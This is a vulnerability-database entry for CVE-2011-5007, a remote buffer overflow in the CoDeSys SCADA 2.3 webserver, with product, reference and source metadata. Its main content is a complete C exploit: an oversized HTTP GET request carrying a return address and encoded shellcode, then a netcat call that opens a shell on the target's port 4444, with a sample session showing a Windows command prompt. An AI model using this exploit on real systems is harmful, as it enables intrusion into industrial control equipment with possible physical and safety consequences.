ID

VAR-E-201111-0006


CVE

cve_id:CVE-2011-5007

Trust: 2.5

cve_id:CVE-2011-5009

Trust: 0.3

cve_id:CVE-2011-5008

Trust: 0.3

sources: BID: 50854 // BID: 50849 // EXPLOIT-DB: 18187 // EDBNET: 40642 // EDBNET: 40679

EDB ID

18187


TITLE

CoDeSys SCADA 2.3 - Remote Buffer Overflow - Windows remote Exploit

Trust: 0.6

sources: EXPLOIT-DB: 18187

DESCRIPTION

CoDeSys SCADA 2.3 - Remote Buffer Overflow. CVE-77387CVE-2011-5007 . remote exploit for Windows platform

Trust: 0.6

sources: EXPLOIT-DB: 18187

AFFECTED PRODUCTS

vendor:codesysmodel:scadascope:eqversion:2.3

Trust: 2.2

vendor:3s smartmodel:codesys sp4 patchscope:eqversion:3.42

Trust: 0.6

vendor:3s smartmodel:codesysscope:eqversion:3.4

Trust: 0.6

vendor:3s smartmodel:codesysscope:eqversion:2.3

Trust: 0.6

vendor:3s smartmodel:codesysscope:neversion:3.5

Trust: 0.6

vendor:3s smartmodel:codesysscope:neversion:2.3.9.32

Trust: 0.6

vendor:codesysmodel:scada webserver stackscope:eqversion:2.3

Trust: 0.5

sources: BID: 50854 // BID: 50849 // PACKETSTORM: 107818 // EXPLOIT-DB: 18187 // EDBNET: 40642 // EDBNET: 40679

EXPLOIT

/*
See Also: http://aluigi.altervista.org/adv/codesys_1-adv.txt

CoDeSys v2.3 Industrial Control System Development Software
Remote Buffer Overflow Exploit for CoDeSys Scada webserver
Author : Celil UNUVER, SignalSEC Labs
www.signalsec.com
Tested on WinXP SP1 EN
THIS CODE IS FOR EDUCATIONAL PURPOSES ONLY!
--snip--

root@bt:~# ./codesys 192.168.1.36

CoDeSys v2.3 webserver Remote Exploit
by SignalSEC Labs - www.signalsec.com

[+]Sending payload to SCADA system!

[+]Connecting to port 4444 to get shell!
192.168.1.36: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [192.168.1.36] 4444 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\3S Software\CoDeSys V2.3\visu>

--snip--

*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>

#define name "CoDeSys v2.3 webserver Remote Exploit"
#define PORT 8080
#define JUNK "A"

int main ( int argc, char *argv[] )
{


int sock, i, payload;

struct sockaddr_in dest_addr;

char *target = "target";

char request[1600], *ptr;

char ret[] = "\x67\x42\xa7\x71"; //ret - WINXP SP1 EN , mswsock.dll

char hellcode[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x56\x4b\x4e"
"\x4d\x54\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x48"
"\x4e\x36\x46\x52\x46\x42\x4b\x58\x45\x54\x4e\x43\x4b\x38\x4e\x37"
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x54\x4a\x31\x4b\x58"
"\x4f\x55\x42\x52\x41\x50\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x58"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x55\x46\x42\x4a\x32\x45\x47\x45\x4e\x4b\x58"
"\x4f\x55\x46\x42\x41\x30\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x34"
"\x4b\x48\x4f\x45\x4e\x31\x41\x50\x4b\x4e\x43\x30\x4e\x52\x4b\x38"
"\x49\x58\x4e\x36\x46\x42\x4e\x41\x41\x36\x43\x4c\x41\x43\x4b\x4d"
"\x46\x56\x4b\x48\x43\x44\x42\x53\x4b\x58\x42\x44\x4e\x30\x4b\x48"
"\x42\x47\x4e\x41\x4d\x4a\x4b\x48\x42\x34\x4a\x30\x50\x35\x4a\x56"
"\x50\x48\x50\x54\x50\x50\x4e\x4e\x42\x35\x4f\x4f\x48\x4d\x48\x46"
"\x43\x55\x48\x56\x4a\x46\x43\x53\x44\x33\x4a\x36\x47\x37\x43\x57"
"\x44\x33\x4f\x35\x46\x55\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4e"
"\x4e\x4f\x4b\x53\x42\x55\x4f\x4f\x48\x4d\x4f\x55\x49\x58\x45\x4e"
"\x48\x46\x41\x58\x4d\x4e\x4a\x50\x44\x30\x45\x35\x4c\x46\x44\x50"
"\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55"
"\x4f\x4f\x48\x4d\x43\x45\x43\x35\x43\x45\x43\x55\x43\x45\x43\x34"
"\x43\x45\x43\x44\x43\x35\x4f\x4f\x42\x4d\x48\x56\x4a\x36\x41\x31"
"\x4e\x35\x48\x46\x43\x45\x49\x48\x41\x4e\x45\x59\x4a\x46\x46\x4a"
"\x4c\x41\x42\x37\x47\x4c\x47\x55\x4f\x4f\x48\x4d\x4c\x36\x42\x41"
"\x41\x45\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x52"
"\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x55\x45\x35\x4f\x4f\x42\x4d"
"\x4a\x56\x45\x4e\x49\x44\x48\x38\x49\x54\x47\x55\x4f\x4f\x48\x4d"
"\x42\x55\x46\x45\x46\x45\x45\x45\x4f\x4f\x42\x4d\x43\x49\x4a\x46"
"\x47\x4e\x49\x57\x48\x4c\x49\x57\x47\x55\x4f\x4f\x48\x4d\x45\x55"
"\x4f\x4f\x42\x4d\x48\x56\x4c\x46\x46\x36\x48\x36\x4a\x56\x43\x36"
"\x4d\x46\x49\x58\x45\x4e\x4c\x56\x42\x45\x49\x45\x49\x32\x4e\x4c"
"\x49\x48\x47\x4e\x4c\x56\x46\x34\x49\x48\x44\x4e\x41\x33\x42\x4c"
"\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x32\x50\x4f\x44\x54\x4e\x52"
"\x43\x39\x4d\x58\x4c\x57\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46"
"\x44\x37\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x47\x46\x34\x4f\x4f"
"\x48\x4d\x4b\x35\x47\x45\x44\x35\x41\x35\x41\x35\x41\x45\x4c\x56"
"\x41\x30\x41\x35\x41\x35\x45\x55\x41\x45\x4f\x4f\x42\x4d\x4a\x56"
"\x4d\x4a\x49\x4d\x45\x50\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x46"
"\x4f\x4f\x4f\x4f\x47\x53\x4f\x4f\x42\x4d\x4b\x48\x47\x55\x4e\x4f"
"\x43\x58\x46\x4c\x46\x46\x4f\x4f\x48\x4d\x44\x45\x4f\x4f\x42\x4d"
"\x4a\x56\x4f\x4e\x50\x4c\x42\x4e\x42\x56\x43\x45\x4f\x4f\x48\x4d"
"\x4f\x4f\x42\x4d\x5a";

printf ("\n%s\n by SignalSEC Labs - www.signalsec.com\n", name);

if (argc < 2)
{
printf ("\nUsage: codesys [IP]\n");
exit (-1);
}

setenv (target, argv[1], 1);

memset (request, '\0', sizeof (request));
ptr = request;
strcat (request, "GET /");

for(i = 1; i < 776; i++){

strcat (request, JUNK);
}

strcat (request, ret);
strcat (request, hellcode);
strcat (request, " HTTP/1.1");
strcat (request, "\r\n");

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1){
perror("\nsocket error\n");
exit (1);
}

dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(PORT);
if (! inet_aton(argv[1], &(dest_addr.sin_addr))) {
perror("inet_aton problems");
exit (2);
}

memset( &(dest_addr.sin_zero), '\0', 8);

if (connect (sock, (struct sockaddr *)&dest_addr, sizeof (struct sockaddr)) == -1){
perror("\nCouldnt connect to target!\n");
close (sock);
exit (3);
}

payload = (send (sock, ptr, strlen(request), 0));
if (payload == -1) {
perror("\nCan not send the payload\n");
close (sock);
exit(4);
}
close (sock);
printf ("\n[+]Sending payload to SCADA system!\n");
sleep (1);
printf ("\n[+]Connecting to port 4444 to get shell!\n");
sleep (2);
system("nc -vv ${target} 4444 || echo 'Sorry exploit failed! Change RET address or be sure target is not patched!'");
exit (0);
}

Trust: 1.0

sources: EXPLOIT-DB: 18187

EXPLOIT LANGUAGE

c

Trust: 0.6

sources: EXPLOIT-DB: 18187

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 18187

TYPE

Remote Buffer Overflow

Trust: 1.0

sources: EXPLOIT-DB: 18187

TAGS

tag:exploit

Trust: 0.5

tag:remote

Trust: 0.5

tag:web

Trust: 0.5

tag:overflow

Trust: 0.5

sources: PACKETSTORM: 107818

CREDITS

Celil Ünüver

Trust: 0.6

sources: EXPLOIT-DB: 18187

EXTERNAL IDS

db:EXPLOIT-DBid:18187

Trust: 3.3

db:NVDid:CVE-2011-5007

Trust: 2.5

db:ICS CERT ALERTid:ICS-ALERT-11-336-01A

Trust: 1.7

db:ICS CERTid:ICSA-12-006-01

Trust: 0.6

db:EDBNETid:40642

Trust: 0.6

db:EDBNETid:40679

Trust: 0.6

db:0DAYTODAYid:17273

Trust: 0.6

db:EDBNETid:17246

Trust: 0.6

db:PACKETSTORMid:107818

Trust: 0.5

db:NVDid:CVE-2011-5009

Trust: 0.3

db:BIDid:50854

Trust: 0.3

db:NVDid:CVE-2011-5008

Trust: 0.3

db:BIDid:50849

Trust: 0.3

sources: BID: 50854 // BID: 50849 // PACKETSTORM: 107818 // EXPLOIT-DB: 18187 // EDBNET: 40642 // EDBNET: 40679 // EDBNET: 17246

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2011-5007

Trust: 2.2

url:http://www.3s-software.com/index.shtml?en_codesysv3_en

Trust: 0.6

url:http://aluigi.altervista.org/adv/codesys_1-adv.txt

Trust: 0.6

url:http://www.us-cert.gov/control_systems/pdf/icsa-12-006-01.pdf

Trust: 0.6

url:https://www.exploit-db.com/exploits/18187/

Trust: 0.6

url:https://www.exploit-db.com/exploits/18240/

Trust: 0.6

url:https://0day.today/exploits/17273

Trust: 0.6

sources: BID: 50854 // BID: 50849 // EXPLOIT-DB: 18187 // EDBNET: 40642 // EDBNET: 40679 // EDBNET: 17246

SOURCES

db:BIDid:50854
db:BIDid:50849
db:PACKETSTORMid:107818
db:EXPLOIT-DBid:18187
db:EDBNETid:40642
db:EDBNETid:40679
db:EDBNETid:17246

LAST UPDATE DATE

2022-07-27T09:12:24.878000+00:00


SOURCES UPDATE DATE

db:BIDid:50854date:2012-01-10T20:00:00
db:BIDid:50849date:2012-11-15T23:10:00

SOURCES RELEASE DATE

db:BIDid:50854date:2011-11-30T00:00:00
db:BIDid:50849date:2011-11-29T00:00:00
db:PACKETSTORMid:107818date:2011-12-13T15:59:49
db:EXPLOIT-DBid:18187date:2011-12-01T00:00:00
db:EDBNETid:40642date:2011-12-01T00:00:00
db:EDBNETid:40679date:2011-12-13T00:00:00
db:EDBNETid:17246date:2011-12-13T00:00:00